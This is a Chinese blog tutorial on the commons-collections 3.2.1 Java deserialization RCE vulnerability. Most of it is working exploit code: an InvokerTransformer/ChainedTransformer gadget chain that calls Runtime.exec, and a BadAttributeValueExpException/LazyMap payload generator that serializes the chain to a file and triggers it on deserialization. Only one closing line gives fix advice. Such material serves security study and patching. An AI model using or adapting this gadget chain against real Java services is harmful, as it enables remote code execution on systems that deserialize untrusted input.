Java的commons-collections反序列化漏洞

Java的commons-collections反序列化漏洞

开始正文之前,我们的口号是:代码很有趣,安全很重要。

1.漏洞描述

在Java开发中,我们经常会使用到commons-collections这个jar包,当它的版本小于或等于3.2.1时,存在反序列化和远程代码执行的漏洞。

2.漏洞详情

TransformedMap这个类的decorate函数可以将一个普通的Map转换为一个TransformedMap,其第2、3参数分别对应当key改变和value改变时需要做的操作。所以此时如果修改其中的任意key或value,就会触发我们预先定义好的某些操作来对Map进行处理,具体的变换逻辑由Transformer类定义。

Java的commons-collections反序列化漏洞_第1张图片

由于commons-collections内置了很多常见的transformer,我们可以利用InvokerTransformer通过反射的方式去调用任意的函数。通过getClass()、getMethod、invoke()进行反射,最终实现类似于:

((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc")

而多个Transformer可以串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换,只需要传入一个Transformer数组即可。

代码如下:

package com.commons;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

public class ChainDemo {
	public static void main(String[] args) {
		
		//((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc")
		//构造恶意的chain
		Transformer[] transformers = new Transformer[] {
				//通过内置的ConstantTransformer来获取Runtime类
				new ConstantTransformer(Runtime.class),
				//通过InvokerTransformer来反射调用getMethod方法,参数是getRuntime,其后类似
				new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
				new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null,new Object[0]}),
				new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"})
				};

		Transformer transformChain = new ChainedTransformer(transformers);

		//普通的Map
		Map mp=new HashMap();
		mp.put("sw", "demo");
		
		// 将普通的Map变成TransformedMap,并且指定变换方式为前面定义的恶意chain
		Map transformMap = TransformedMap.decorate(mp, transformChain, transformChain);
		
		// 修改TransformedMap中的一个值,成功执行命令
		Map.Entry entry=(Map.Entry) transformMap.entrySet().iterator().next();
		entry.setValue("test");
		
	}
}

运行代码,可以看到成功弹出了计算器,如下所示:

Java的commons-collections反序列化漏洞_第2张图片

要想远程RCE,服务端必须要有反序列化的入口,该类重写了readObject方法,并且在readObject方法中操作了序列化后的TransformedMap。

网上提到AnnotationInvocationHandler类,但是经过测试并未成功。最后我们从网上找到了一个位于javax.management包下的类:BadAttributeValueExpException.class

/*
 * Copyright (c) 1999, 2013, Oracle and/or its affiliates. All rights reserved.
 * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
*/

package javax.management;

import java.io.IOException;
import java.io.ObjectInputStream;

/**
 * Thrown when an invalid MBean attribute is passed to a query
 * constructing method.  This exception is used internally by JMX
 * during the evaluation of a query.  User code does not usually
 * see it.
 *
 * @since 1.5
 */
public class BadAttributeValueExpException extends Exception   {


    /* Serial version */
    private static final long serialVersionUID = -3105272988410493376L;

    /**
     * @serial A string representation of the attribute that originated this exception.
     * for example, the string value can be the return of {@code attribute.toString()}
     */
    private Object val;

    /**
     * Constructs a BadAttributeValueExpException using the specified Object to
     * create the toString() value.
     *
     * @param val the inappropriate value.
     */
    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }


    /**
     * Returns the string representing the object.
     */
    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

这个类完全符合我们的要求,那么思路如下:

  • 构造一个BadAttributeValueException对象exception
  • exception的val变量设置为LazyMap的entry
  • 调用entry的toString将其转为字符串
  • 调用LazyMap的get方法获取一个不存在的key
  • 调用transform方法执行命令

代码如下:

package com.commons;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
public class test1 {
    public static Object Reverse_Payload() throws Exception {
    	Transformer[] transformers = new Transformer[] {
				//通过内置的ConstantTransformer来获取Runtime类
				new ConstantTransformer(Runtime.class),
				//通过InvokerTransformer来反射调用getMethod方法,参数是getRuntime,其后类似
				new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
				new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null,new Object[0]}),
				new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"})
				};

		Transformer transformChain = new ChainedTransformer(transformers);
		//普通的Map
		Map mp=new HashMap();
		mp.put("sw", "demo");
		
		Map lazyMap = LazyMap.decorate(mp, transformChain);
		//通过类似延迟的特性,让其在序列化以后,在toString的时候再去获取不存在的键来触发payload
		TiedMapEntry entry = new TiedMapEntry(lazyMap, "6666");
		
		BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
		Field valField = exception.getClass().getDeclaredField("val");
		// 取消安全性检查,设置后才可以获取或者修改private修饰的属性
		valField.setAccessible(true);
		valField.set(exception, entry);
		return exception;
    }

    public static void main(String[] args) throws Exception {
        GeneratePayload(Reverse_Payload(),"F:/home/root/obj");
        payloadTest("F:/home/root/obj");
    }
    public static void GeneratePayload(Object instance, String file)
            throws Exception {
        //将构造好的payload序列化后写入文件中
        File f = new File(file);
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //读取写入的payload,并进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

运行截图:

Java的commons-collections反序列化漏洞_第3张图片

3.修复建议

升级commons-collections为最新版本。

 

 

你可能感兴趣的:(Java的commons-collections反序列化漏洞)